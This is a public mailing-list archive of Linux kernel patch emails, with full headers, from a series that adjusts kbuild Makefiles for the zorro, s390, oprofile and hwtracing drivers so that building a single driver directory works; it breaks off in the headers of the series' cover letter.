Original-Received: from mail-qt1-f195.google.com ([209.85.160.195]:35518 "EHLO
        mail-qt1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728742AbeI1IKE (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:10:04 -0400
Original-Received: by mail-qt1-f195.google.com with SMTP id z14-v6so5049794qtn.2;
        Thu, 27 Sep 2018 18:48:50 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=FnsE+PwbSYT7Ik4sfBLqTvLMfucbH50GCrBzd4xVqgg=;
        b=LWAp/ODnG3g/fquiABxPcurrEfakZ99Tu80oGCcofFtOUhLF1bWOxFuRJ3Rf80PVL2
         dm/9+Ktx27QUf6igqhEcYlR8YxWKDz5TOiSkD8FfVIIj8MISfvvfZsS8Rt/K11rMYt1J
         Y+3KeJdI3v/2/zJjL6lsuAXDZrxuEcEoDn3LP9Dig/bSGd0VXqs2huu+tWciiHYtXBxf
         0iYVGubIElYZiG/OOJTtuvcXoYxocSgR5g1Xh1aVqJpdOTJqrGD/VYRZirL4LrfRd8LO
         eJkjlZPLopu1yOUQ+aPbsTWlwuLr3p4hGmskXdwKI3OA3vY2q3uhcC4bdIhpGRUHBW9v
         czRQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=FnsE+PwbSYT7Ik4sfBLqTvLMfucbH50GCrBzd4xVqgg=;
        b=lOphwBFK31wYCR2ApDgqZXgOZlcLbQG6QJkDgUZ9DsncwiCG8hr6ZKKPdouMTWF8RQ
         fyffcJQ+Kg5N3Rhfm86IC4dI2l45EGSASsymHwsmI3xUGo1VxhcWjddVszecgurl0UJ6
         tgNWPS8eb6sEKH5tD89Xv/Z/hi4Lk+OC35Bzdkg64qkIPBZqiVg0hGDwYMYiOnY63Zu6
         Ij7Q+Vzd955n9S82xp6HYe6cEvjaApIrii/0mRE543h3owRjoA5/P/RXLA6IAYKxeCe5
         jqySxq6VrNFN1t/G2InDoBOxAX+2kJNfEyA4e48i+i4jjXuCAV593zSGlpCAuNPpg6UR
         5S8w==
X-Gm-Message-State: ABuFfog/fO2TlslYzLkc9jbWNZ27UJsvRerj6ETRNWV8iAv339U9cVL7
        lDf3CNKDaFSNzouijYCDM0A=
X-Google-Smtp-Source: ACcGV63R/LlHErhiNWXpVRyOdAdylp7VkaNLTyysrV+Mmv7R0bTo24jVt1Hs3Oi1NZ83+DU5WWd0QQ==
X-Received: by 2002:aed:2f27:: with SMTP id l36-v6mr10879466qtd.333.1538099330155;
        Thu, 27 Sep 2018 18:48:50 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id f13-v6sm1847655qth.62.2018.09.27.18.48.44
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 27 Sep 2018 18:48:49 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884405 gmane.linux.oprofile:13240 gmane.linux.ports.parisc:29043
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884405>

Avoids building proc.o if 'make drivers/zorro/' is called and
CONFIG_ZORRO is disabled, even if CONFIG_PROC_FS is enabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/zorro/Makefile | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/drivers/zorro/Makefile b/drivers/zorro/Makefile
index b360ac4ea846..d580f9f08e0a 100644
--- a/drivers/zorro/Makefile
+++ b/drivers/zorro/Makefile
@@ -3,9 +3,10 @@
 # Makefile for the Zorro bus specific drivers.
 #
 
-obj-$(CONFIG_ZORRO)	+= zorro.o zorro-driver.o zorro-sysfs.o
-obj-$(CONFIG_PROC_FS)	+= proc.o
-obj-$(CONFIG_ZORRO_NAMES) +=  names.o
+obj-$(CONFIG_ZORRO) 		:= zorro_all.o
+zorro_all-y			+= zorro.o zorro-driver.o zorro-sysfs.o
+zorro_all-$(CONFIG_ZORRO_NAMES) += names.o
+zorro_all-$(CONFIG_PROC_FS)	+= proc.o
 
 hostprogs-y 		:= gen-devlist
 
-- 
2.19.0



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 5/7] drivers: s390: Avoids building drivers if ARCH is not
 s390.
Date: Thu, 27 Sep 2018 22:48:50 -0300
Lines: 28
Approved: news@gmane.org
Message-ID: <20180928014850.GA10508@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538099218 13036 195.159.176.226 (28 Sep 2018 01:46:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 01:46:58 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 03:46:53 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5hro-0003IK-6b
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 03:46:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728789AbeI1IKO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:10:14 -0400
Original-Received: from mail-qt1-f194.google.com ([209.85.160.194]:35534 "EHLO
        mail-qt1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728742AbeI1IKO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:10:14 -0400
Original-Received: by mail-qt1-f194.google.com with SMTP id z14-v6so5050076qtn.2;
        Thu, 27 Sep 2018 18:48:59 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=wFwPD257gEf6jcXSywUF4KDj7r7qvliCjiZQYQyJ1vc=;
        b=c8SZdRT8uG27oQeqK7ZCzA/WksemdQTwt+kyyR+bEonEmei04H6YjdDbDlg2122FOG
         T3cYP5zY0QTnz1iQaI24ZuCYzlIrFldDqR0TURihKRKun59nsNfPYbA76y8jr4BddIsV
         y6XRn0ZBykh9amdfA0EMnSPcKd6pU5gl9k4SEXXPzIpUtk5wC1riIQrQ1FHfqVycvMCI
         W+R5Qf/6WQh/57idCg4ZF4hE8OAD0lcvCWyrg4cEn6evO4i7PO83SgmtNK0XM/PUPkPg
         6ifNF53OjVGuim2OtRj7lEfYcpi534CAF54EO14KGsfj5SBYZLT8vPD591b3bSWSWZVb
         aIHQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=wFwPD257gEf6jcXSywUF4KDj7r7qvliCjiZQYQyJ1vc=;
        b=mb2ZZyxjWVMc074eNO0ZPMy0s8RL6b1NiN7we7vAX2xMEvHh5swh3OwaxlMWZue4bA
         c0HKoh1RPCcTi/2WZwTfQQpR0Fm1OmwiHufFfuDIBHFeLCjYU98RSTuhY1kyqgXzCc3+
         9mhND/2z/km1d4zIqpA2U/a2AM8TX4TzvKwOSDe9SeDVn4nhNFCBVup9BV+EpFHzXVOR
         6tzaMWXIWAS9SxcUZRxMfHHFyrMFXk6kfb6sZOrW/kfe4gG3CBYyEBZR2OLsM+T6xQWX
         pd7BuXFN8RUAjl1OY8bG1Sz/FPlfD497dDXvfJMYuUED73BxZmiUsqiAd5jx1+tJBtKw
         +gqA==
X-Gm-Message-State: ABuFfoiy5RYHexy5n1pTrMfq2uOqJUMfHjgy7dvCEM1kbSR3D7Td3Nm8
        oeeSj3peeVBGOY/KRbXDlMXOa5CE
X-Google-Smtp-Source: ACcGV61hrLJe6Vh1+sdcXCNxSUhfr1YFWDxiRAC3Qp1ck9WvXcpgMlx1QPBYJveKh0sowCwKDUbkYg==
X-Received: by 2002:a0c:fa52:: with SMTP id k18-v6mr2522052qvo.170.1538099339271;
        Thu, 27 Sep 2018 18:48:59 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id x76-v6sm2282427qkx.25.2018.09.27.18.48.53
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 27 Sep 2018 18:48:58 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884406 gmane.linux.oprofile:13241 gmane.linux.ports.parisc:29044
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884406>

Avoids building s390 drivers if 'make drivers/s390/' is called but
ARCH is not s390.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/s390/Makefile | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/s390/Makefile b/drivers/s390/Makefile
index a863b0462b43..0575f02dba45 100644
--- a/drivers/s390/Makefile
+++ b/drivers/s390/Makefile
@@ -3,7 +3,7 @@
 # Makefile for the S/390 specific device drivers
 #
 
-obj-y += cio/ block/ char/ crypto/ net/ scsi/ virtio/
-
-drivers-y += drivers/s390/built-in.a
-
+ifeq ($(ARCH),s390)
+	obj-y += cio/ block/ char/ crypto/ net/ scsi/ virtio/
+	drivers-y += drivers/s390/built-in.a
+endif
-- 
2.19.0



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 6/7] drivers: oprofile: Avoids building driver from direct
 make command
Date: Thu, 27 Sep 2018 22:48:59 -0300
Lines: 23
Approved: news@gmane.org
Message-ID: <20180928014859.GA10525@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538099225 13524 195.159.176.226 (28 Sep 2018 01:47:05 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 01:47:05 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 03:47:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5hrv-0003IK-Kk
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 03:46:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728833AbeI1IKW (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:10:22 -0400
Original-Received: from mail-qt1-f194.google.com ([209.85.160.194]:42307 "EHLO
        mail-qt1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728123AbeI1IKW (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:10:22 -0400
Original-Received: by mail-qt1-f194.google.com with SMTP id z8-v6so4983824qto.9;
        Thu, 27 Sep 2018 18:49:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=e059U9EVFIrXzIdKY/vX6Gpjk8Vp1fLvpRknwNsZouQ=;
        b=KVpcQBTjrlOH3LKyZy/zbEGly8Glb8ZUMar4j3GtDF4PXif8OlTAR23frJF4FOlroL
         DPAgJ0q3Wn/vUy7tRlpEP/4JRZIx12wPrAY6utr+KWBWmRlpPILnlwuyazwsj9r1V3wK
         MBz7M/JwKMj7FJ+6nIquQdeCWDCZmAS81u+txvDi9l2DR/VX7bsNi+UUlRn1VBpVDNrg
         X8JGk4PWrdE6ES0GYvGrpMxV4rIwdWCGRhb5rYroqGieIRqsvuqhpfGNydPCbONCElOG
         T6pJv8Cbv7wcedD7SyfMzapoQPNUb3dRUpZ7IkNLtOwZ21iiNMXA9exZiBb0ecwR+kOE
         paUg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=e059U9EVFIrXzIdKY/vX6Gpjk8Vp1fLvpRknwNsZouQ=;
        b=AjPgG5d54Qm3mwyfEvfP31Z8Vxv5E3yyrDNl50aI3BFr/fjkCPFUeUTx0ucbURWfYs
         hjulWFDPy1vGf2xlgIMgUjJIwrWxb/KcbfgwRwSyckbCXtJ42xnDQ5FMH5xai4CAE6vV
         Lqnk5Q1CE4xBpa44CDbmSHQb7SBDjV8XaxciKepMeU1jczJumfemmofSfLhTf1dDrbVD
         Pl0QULf8wy5ftnMBTQ6MyrIfrGDLfWQMSHAnDLNQzmiZZ5NhlGS9eOiVfLLQUFa1r+N3
         D6oeBRdHmsMp3szZQ1Sip/Jb4IyXBNb7ps0uyVEoHSxfED55W+2Nv5fkp4i+Zn7y1H0P
         eWqQ==
X-Gm-Message-State: ABuFfogARZ+DAv8o128F7EK8dApJQ1T/LOOFTst4MzjzrIfkPGplO9Uu
        l7pqNqogaeRoVZFswxKLFXo=
X-Google-Smtp-Source: ACcGV61VDW3NTTEg77m4SCYJ6SFUyjd7eIOUhdgj7kWVr6o6G0xd4XlE6VbNW+8u0wG2v6lGm7LMew==
X-Received: by 2002:ad4:50ce:: with SMTP id e14-v6mr9913618qvq.232.1538099347670;
        Thu, 27 Sep 2018 18:49:07 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id e67-v6sm2053234qtb.33.2018.09.27.18.49.02
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 27 Sep 2018 18:49:07 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884407 gmane.linux.oprofile:13242 gmane.linux.ports.parisc:29045
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884407>

Creates new Makefile to avoid building driver if
'make drivers/oprofile/' is called directly.

This driver is usually built from arch/$ARCH and seems to have
no meaning building alone.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/oprofile/Makefile | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 drivers/oprofile/Makefile

diff --git a/drivers/oprofile/Makefile b/drivers/oprofile/Makefile
new file mode 100644
index 000000000000..361867ec2338
--- /dev/null
+++ b/drivers/oprofile/Makefile
@@ -0,0 +1 @@
+#Does nothing, since the source is called from arch/$ARCH/ tree.
-- 
2.19.0



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 7/7] drivers: hwtracing: Adds Makefile to enable building
 from directory.
Date: Thu, 27 Sep 2018 22:49:07 -0300
Lines: 41
Approved: news@gmane.org
Message-ID: <20180928014907.GA10528@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538099235 14116 195.159.176.226 (28 Sep 2018 01:47:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 01:47:15 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 03:47:09 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5hs4-0003Xz-R3
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 03:47:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728855AbeI1IKb (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:10:31 -0400
Original-Received: from mail-qt1-f195.google.com ([209.85.160.195]:44321 "EHLO
        mail-qt1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1728123AbeI1IKa (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:10:30 -0400
Original-Received: by mail-qt1-f195.google.com with SMTP id c56-v6so106896qtd.11;
        Thu, 27 Sep 2018 18:49:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=UAb82koJUru3xjb0CPohCP8QGMSpSYev3ABFomuLfos=;
        b=G6OpdTRqYZ/ftgzslyT+868KFJ9PQMciXC53c8cCGV7n8Gyx2L11fhInJk/tdxIZTS
         6t57nShbtQPMXYbRIrLRCck+dtU9tjk5wlJE/ozEZ9cTNTpuMO9IqF+lXTcxwBdY+5bb
         eO1SM6Zv6MEFeF583z5l8hqwRIXjLDrsepg+UrhIOfLHhjkK3TeaF9K0qBKaQCgBRknj
         kuPqq1FesfDgvCY1kFMCOJRPPteEFsMxdiwfSldxVc3vuYr2v69BuVG24oh3i7vPzstr
         3VNgDyGOZnDSFGZls0D5goG8Q3ItWRQ8B4OPbkeu9QaOUQezoRQyzFiWwbYnDd3O0ehY
         UyhA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=UAb82koJUru3xjb0CPohCP8QGMSpSYev3ABFomuLfos=;
        b=uB4LXuhQJi0GseX70IqO7nnihzJXM77bo93Te6F4mxFknFg/qmQNlbLnZJjSO2Hhck
         GZktUNGC9XSE3aEPY5bPY6ZQ7J2UCOE+uUKEIg2UbsZLghI3yYN0KJqT7S8F2mAGHqyh
         OqJN0UUeOqiQLfYC1WKbCR6gXYoxoRddukGrhb6ir6u3OCFkjpwFq0K3od70aHzKN16Y
         Pd520OCuI55lH224uwiuGEXlLzP7M7zY/q1fS8YxYIOJpIiXnYQ8oKbF5q2wG7GHOO55
         ZM1IamyWBU9zpqiVvz69SaBM/eCFZ2AeURpJT8t1U8ajcuvKtGqDNGWwRZz+3pUA8LTG
         9kJA==
X-Gm-Message-State: ABuFfohyAVdzU2hQ4uJH54KhLStjbtQtH3+I4ccsLTKyUvotHjY/kJqv
        mL5lS36xxAkodVDLXf5+nBc=
X-Google-Smtp-Source: ACcGV63JJni5LHR8ay51x9wvZnvcShrM4vrEw2oq/AxjXlSCVKVj7zLMPcLqCqreZ64PyYwhhrR+fQ==
X-Received: by 2002:ac8:ec3:: with SMTP id w3-v6mr6838557qti.138.1538099355961;
        Thu, 27 Sep 2018 18:49:15 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id 128-v6sm2233185qko.7.2018.09.27.18.49.10
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Thu, 27 Sep 2018 18:49:15 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2884408 gmane.linux.oprofile:13243 gmane.linux.ports.parisc:29046
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2884408>

Adds Makefile to enable building the driver using
'make drivers/hwtracing/'.
Changes drivers/Makefile to call the new Makefile directly.
It enables user building this driver without building the whole drivers/
subtree.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/Makefile           | 4 +---
 drivers/hwtracing/Makefile | 3 +++
 2 files changed, 4 insertions(+), 3 deletions(-)
 create mode 100644 drivers/hwtracing/Makefile

diff --git a/drivers/Makefile b/drivers/Makefile
index 578f469f72fb..a237be6b602f 100644
--- a/drivers/Makefile
+++ b/drivers/Makefile
@@ -174,9 +174,7 @@ obj-$(CONFIG_MCB)		+= mcb/
 obj-$(CONFIG_PERF_EVENTS)	+= perf/
 obj-$(CONFIG_RAS)		+= ras/
 obj-$(CONFIG_THUNDERBOLT)	+= thunderbolt/
-obj-$(CONFIG_CORESIGHT)		+= hwtracing/coresight/
-obj-y				+= hwtracing/intel_th/
-obj-$(CONFIG_STM)		+= hwtracing/stm/
+obj-y				+= hwtracing/
 obj-$(CONFIG_ANDROID)		+= android/
 obj-$(CONFIG_NVMEM)		+= nvmem/
 obj-$(CONFIG_FPGA)		+= fpga/
diff --git a/drivers/hwtracing/Makefile b/drivers/hwtracing/Makefile
new file mode 100644
index 000000000000..fe5773caec49
--- /dev/null
+++ b/drivers/hwtracing/Makefile
@@ -0,0 +1,3 @@
+obj-$(CONFIG_CORESIGHT)		+= coresight/
+obj-y				+= intel_th/
+obj-$(CONFIG_STM)		+= stm/
-- 
2.19.0



From - Thu Nov 08 21:42:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v3 0/7]  Remove errors building drivers/DRIVERNAME
Date: Thu, 27 Sep 2018 23:08:09 -0300
Lines: 51
Approved: news@gmane.org
Message-ID: <20180928020816.11251-1-leobras.c@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538100390 24492 195.159.176.226 (28 Sep 2018 02:06:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 28 Sep 2018 02:06:30 +0000 (UTC)
Cc: =?UTF-8?q?Leonardo=20Br=C3=A1s?= <leobras.c@gmail.com>,
        Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Sep 28 04:06:25 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5iAi-0006Hj-VT
	for glk-linux-kernel-4@m.gmane.org; Fri, 28 Sep 2018 04:06:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1728785AbeI1I3z (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 28 Sep 2018 04:29:55 -0400
Original-Received: from mail-qk1-f194.google.com ([209.85.222.194]:45067 "EHLO
        mail-qk1-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726121AbeI1I3z (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 28 Sep 2018 04:29:55 -0400
Original-Received: by mail-qk1-f194.google.com with SMTP id q20-v6so2896971qkc.12;
        Thu, 27 Sep 2018 19:08:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:mime-version
         :content-transfer-encoding;
        bh=LZGk7PgCdjrbqQG3oM6AhSpqvwyDq4O1Xo1g7NqXKqw=;
        b=UfIqbT8ozJcLUAeI4/IN7kTUltDCrJq1Qpq3c0fDACGQ1D+70jnbae8mdeLPPp1fLV
         0OrP6/IqZl8CdvJKfzDbV49n9w+1ur/dH+jSDKAn7RhRcTKd1hyqfhr9ljh5if4NhZXV
         tzhAmJY/AciwFHFRSpsKFOrvrKl/4opf3TDNK0dmSfTo9nKTIHtvzqn2ZfP9x536+FvY
         5RYVnzH2XCFuZvaX/K/DVEQ0WlkmuV40vZYvRMLk3jF2V5YMlLugULJSUoF1RSDUt6lC
         OpeVRXuhk0lINTVrz1MbjpFZDRDoCyEnQwyDyGtdvS6sBL7aWf1LS2bUuAzf6+iVevR5
         kkFg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:mime-version
         :content-transfer-encoding;
        bh=LZGk7PgCdjrbqQG3oM6AhSpqvwyDq4O1Xo1g7NqXKqw=;
        b=C1Ld9CXEjhZZaAv0NnMqyUTYuEv7TW9h1/dFAAxKK5wdLsKM9N6MPNeZeteeKadTxz
         rN8di/V73wnm+ZoXit2oI7WUMWM+PfJJs6mj6BWcdagbu6uqAZY9fw1fZJyi3XO1G6yM
